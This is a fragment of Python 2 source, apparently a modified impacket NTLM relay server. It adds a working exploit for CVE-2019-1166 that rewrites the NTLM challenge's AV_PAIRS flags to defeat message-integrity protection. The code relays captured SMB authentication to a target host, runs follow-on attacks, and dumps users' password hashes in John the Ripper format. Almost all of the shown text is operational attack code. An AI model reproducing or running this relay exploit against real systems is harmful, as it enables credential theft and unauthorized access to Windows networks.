# Raise exception again to pass it on to the SMB server
raise
#############################################################
try:
# my code starts here, cve-2019-1166
from impacket.ntlm import NTLMAuthChallenge, AV_PAIRS, NTLMSSP_AV_FLAGS
av_pairs = AV_PAIRS()
av_pairs.fromString(challengeMessage['TargetInfoFields'])
av_pairs[NTLMSSP_AV_FLAGS] = '\x00' * 4
challengeMessage['TargetInfoFields_len'] = len(av_pairs)
challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)
challengeMessage['TargetInfoFields'] = av_pairs
challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])
av_flags = '\x06\x00\x04\x00\x00\x00\x00\x00'
av_raw_data = av_pairs.getData()
# evil_av_raw_data = av_flags + av_raw_data[:av_raw_data.find(av_flags)] + av_raw_data[
# av_raw_data.find(av_flags) + len(
# av_flags):]
evil_av_raw_data = av_flags + av_pairs.getData().replace(av_flags, '')
evil_challenge_data = challengeMessage.getData().replace(av_raw_data, evil_av_raw_data)
challengeMessage = NTLMAuthChallenge()
challengeMessage.fromString(evil_challenge_data)
print 'challengeMessage swaped'
except Exception, e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print(exc_type, fname, exc_tb.tb_lineno)
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = smbData[self.target]['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
# For some attacks it is important to know the authenticated username, so we store it
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
clientResponse, errorCode = self.do_ntlm_auth(client, sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target)
client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
authenticateMessage['user_name']))
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target, True)
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
# TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
client = smbData[self.target]['SMBClient']
_, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target)
# Finish client's connection
# client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'],
sessionSetupData['Account']))
self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
# Log this target as processed for this client
# self.targetprocessor.logTarget(self.target, True)
ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)